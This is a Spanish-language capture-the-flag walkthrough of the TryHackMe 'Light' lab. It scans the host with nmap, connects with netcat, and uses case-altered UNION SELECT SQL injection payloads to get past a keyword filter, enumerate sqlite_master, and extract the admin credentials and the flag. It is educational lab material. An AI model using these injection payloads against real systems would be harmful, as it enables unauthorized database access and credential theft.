



LIGHT

[TryHackMe] LIGHT: Resolución Paso a Paso

¡Bienvenidos a un nuevo video! En esta ocasión, te guío a través de la resolución de la máquina Light de la plataforma TryHackMe, una máquina enfocada en vulnerabilidades

<https://youtu.be/e8LVntp6tW0?si=KEfW4grW7tGxs2lj>



I am working on a database application called Light! Would you like to try it out?

If so, the application is running on **port 1337**. You can connect to it using `nc 10.10.96.228 1337`

You can use the username `smokey` in order to get started.

Note: Please allow the service 2 - 3 minutes to fully start before connecting to it.

Como podemos ver en la imagen nos dicen que nos conectemos a la base de datos por el protocolo 1337 con el comando que nos dicen ellos y nos proporcionan un usuario

Bueno lo primero como siempre vamos a iniciar con la fase de enumeración para ver los puertos que están abiertos y los servicios que están corriendo en ellos

```
(root@Kali-Linux)-[/home/santo/Tryhackme/Light/nmap]
# nmap -p- -sS -sC -sV --open --min-rate 5000 -n -Pn -vvv 10.10.96.228 -oN allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-27 19:12 CET
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:12
Completed NSE at 19:12, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:12
Completed NSE at 19:12, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:12
Completed NSE at 19:12, 0.00s elapsed
Initiating SYN Stealth Scan at 19:12
Scanning 10.10.96.228 [65535 ports]
Discovered open port 22/tcp on 10.10.96.228
Discovered open port 1337/tcp on 10.10.96.228
```

```

PORT      STATE SERVICE REASON      VERSION
22/tcp    open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 61:c5:06:f2:4a:20:5b:cd:09:4d:72:b0:a5:aa:ce:71 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGDHdmg0AqD9I7ucX8V8kF6SWjHnd781y7dPTktWFP6P13CIAr/4nXbco7mCT5sic7UakZvz6PQnsMS59ApT/fo78HfvyXxRJFonBwNo+6qsCEM
| Qdu80Tf/stknGFW3q7KR2wU9wFhM9RtJvnxHhHjsBaoFyJIhNCr1e/rTZTccFLcEBNoxijtMLXBfh29wDhRTwQH/h3RWtoLs3UzPJB7eSemAxeA7I0LU2Ae0XHraRVJqUgrleP+cdGYrGdtlPed1
| xjQ5qHskijvhatJ/8iY2FA03NmXIWhE8pP4k+p9dYhDYfvKHfzbePv1iuvMVX2r+K6YLPqUXMHk0n0F5Ek=
|   256 51:e0:5f:fa:81:64:d3:d9:26:24:16:ca:45:94:c2:00 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBi+6jxWhfHwKe0pUQf6SgPaQ11uGBz2033zpDq4f03v95iopBlIk2VuYLY9Vthhvwpnz/vQCia/
|   256 77:e1:36:3b:95:9d:e0:3e:0a:56:82:b2:9d:4c:fe:1a (ED25519)
| _ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHGbIUGbnlw5RbJCULUoGtJ2diiuMH9UchJCy60FEZ0
1337/tcp  open  waste?   syn-ack ttl 63
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
|   Welcome to the Light database! I am working on a database application called Light! Would you like to try it out?
|   Please enter your username:
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest: you can connect to it using nc 10.10.170.235 1337
|   Welcome to the Light database!
|   Please enter your username: Username not found. Username [redacted] in order to get started.
|_   Please enter your username:

```

Como vemos tenemos 2 puertos abiertos, el 22 SSH y el 1337 en el que hay una Base de datos



Como estamos viendo que hay una base de datos, podemos sacar conclusiones de que posiblemente se trate de una inyección SQL

Así que como dice la maquina, vamos a intentar conectarnos a esa aplicación de la base de datos por el puerto 1337 y vamos a intentar someterla a inyecciones SQL

If so, the application is running on **port 1337**. You can connect to it using `nc 10.10.170.235 1337`

You can use the username `smokey` in order to get started.

```

(root@Kali-Linux)-[/home/santo]
# nc 10.10.170.235 1337
Welcome to the Light database!
Please enter your username: smokey

```

Y al escribir el usuario esto nos suelta una contraseña, que realmente no sirve para nada es una distracción que nos pusieron

```

(root@Kali-Linux)-[/home/santo]
# nc 10.10.170.235 1337
Welcome to the Light database!
Please enter your username: smokey
Password: vYQ5ngPpw8AdUmL
Please enter your username:

```

Así que como por ahora no tenemos mas datos ni nada, vamos a poner otra vez el nombre de usuario y vamos a intentar con una serie de parámetros si existe una inyección sql, también vamos a analizar como responde la aplicación a nuestra petición

```
Please enter your username: smokey'
Error: unrecognized token: "'smokey'" LIMIT 30"
Please enter your username: █
```

como vemos ahora no nos muestra lo de antes, esto se significa que la comilla se esta procesando. Esto nos puede mostrar información extra que si sabemos interpretar nos va llevando a esa consulta que tenemos que hacer para vulnerar dicha aplicación

Como podemos ver encontramos un la respuesta de error que hemos recibido hay una comilla mas esto se significa que podríamos poner un comando y dejásemos la comilla final abierta para que nos la cierre la propia aplicación

```
smokey
: "'smokey'" LIMIT 30"
```

Aquí como podemos ver la base de datos nos da una respuesta diferente y nos da una nueva contraseña, que también no nos sirve para nada, son distracciones que nos ponen

```
Please enter your username: smokey'OR'1'='1
Password: tF8tj2o94WE4LKC
Please enter your username: █
```

Así que lo que vamos a hacer es una inyección UNION, que se haría de la siguiente forma



La inyección unión es una clausula que nos permite unir dos consultas en una.

Es un comando de código que permite a los usuarios añadir una consulta adicional a su consulta principal

```
Please enter your username: smokey'UNION'  
Ahh there is a word in there I don't like :(  
Please enter your username: █
```

Y al escribir la comando unión podemos ver que la base de datos nos dio una respuesta diferente a las anteriores

Esto lo que esta haciendo es filtrando la palabra UNION por lo que no nos la deja pasar

Así que para pasarla, lo que tenemos que hacer es escribirla de otra forma para que así nos deje pasar la consulta la base de datos

```
Please enter your username: smokey' Union'  
Error: near "": syntax error  
Please enter your username: █
```

Ahora nos muestra otro error distinto, entonces esto se significa que la palabra unión si la esta aceptando y ejecutando, entonces esta clausula SQL vamos a poder usarla

Ahora vamos a escribir el mismo comando, pero incorporamos la palabra select, para ver y analizar la respuesta que nos de la base de datos

```
Please enter your username: smokey'Union select'  
Ahh there is a word in there I don't like :(  
Please enter your username: █
```

Aquí nos fa otro respuesta y nos dice que algo no le esta gustando

Así que esta vez vamos hacer lo mismo, pero cambiando el formato para ver que nos responde

```
And there is a word in there I don't like :)  
Please enter your username: smokey'Union Select'  
Password:  
Please enter your username: 
```

Ahora nos esta devolviendo el campo password, por lo que esta respondiendo a nuestra consulta

Ahora en este punto ya sabemos varias cosas, una que es una base de datos y dos que responde a ciertas consultas que le hemos solicitado, ahora lo que vamos a intentar hacer es consultar dentro de esa base de datos una tabla que guarda los metadatos de las tablas, ósea es una tabla que guarda información de tablas, esta tabla suele estar dentro de todas las bases de datos

Así que vamos a hacer la siguiente consulta

```
Please enter your username: smokey'Union Select name from sqlite_master'  
Password: admin

|       | Title      | Target IP Address |
|-------|------------|-------------------|
| admin | Light v1.2 | 10.10.16.77       |


```

Ahora en la respuesta a la consulta nos esta extrayendo el nombre de la tabla que tiene la esa base de datos

Ahora lo que necesitamos conocer es la estructura de la tabla, para si conocer que campos tiene y en base a esos campos extraer la respuestas de las preguntas que nos están pidiendo en el ctf

Así que vamos a usar lo mismo pero con otro campo que guarda como se crearon esas tablas, la estructura

"Es básicamente como si estuviéramos haciendo una consulta de la estructura de la tabla"

```
Please enter your username: smokey'Union Select sql from sqlite_master'  
Password: CREATE TABLE admin

|       | Title      | Target IP Address |
|-------|------------|-------------------|
| admin | Light v1.2 | 10.10.16.77       |


```

Entonces aquí tenemos la estructura de como se creo la tabla, el objeto de la creación de la tabla

Entonces como ya tenemos el nombre de la tabla, lo que vamos a intentar hacer ahora, es intentar averiguar los nombres de usuario que contiene la tabla `admintable`

Primero vamos a utilizar una función que nos permita contar la cantidad de registros que tiene esta tabla

```
password INTEGER)
Please enter your username: smokey'Union Select count('id') from admintable'
Password: 2
Please enter your username: █
```

Ahora si los vamos a extraer el registro, para ello vamos a escribir el siguiente comando acompañado del nombre de la variable que contiene el valor

```
Please enter your username: smokey'Union Select username from admintable'
Password: TryHackMeAdmin
Please enter your username: █
```

Y así es como ya tenemos el Usuario

Y como vimos anteriormente en el registro de la tabla habían dos campos, el de el username y el de password

```
Please enter your username: smokey'Union Select sql from sqlite_master'
Password: CREATE TABLE admintable (
      id INTEGER PRIMARY KEY,
      username TEXT,
      password INTEGER)
      █
```

Ahora vamos a obtener las credenciales del usuario que encontramos, esto lo hacemos con la siguiente consulta

```
smokey'Union Select password from admintable where username = 'TryHackMeAdmin'
```


```
Please enter your username: smokey'Union Select password from admintable where username = 'TryHackMeAdmin'  
Password: mamZtAuMlrsEy5bp6q17  
Please enter your username:   
What is the flag?
```

esta consulta lo que hace es que selecciona el apartado (password) de la tabla (admintable) del usuario (TryHackMeAdmin)

Así que si volvemos hacer el procedimiento con la otra variable y así es como obtendríamos la flag






```
Please enter your username: smokey'Union Select password from admintable'  
Password: THM{SQLit3_InJ3cTion_is_Simple_n0?}It is the admin username?  
Please enter your username:   
What is the flag?
```

Maquina completada



Woop woop! You

Congratulations on completing Light!!! 🎉

Points earned  90	Completed tasks  1	Room type  Challenge	Difficulty  Easy	Streak  1
---	--	--	--	---

[Leave Feedback](#)[Next](#)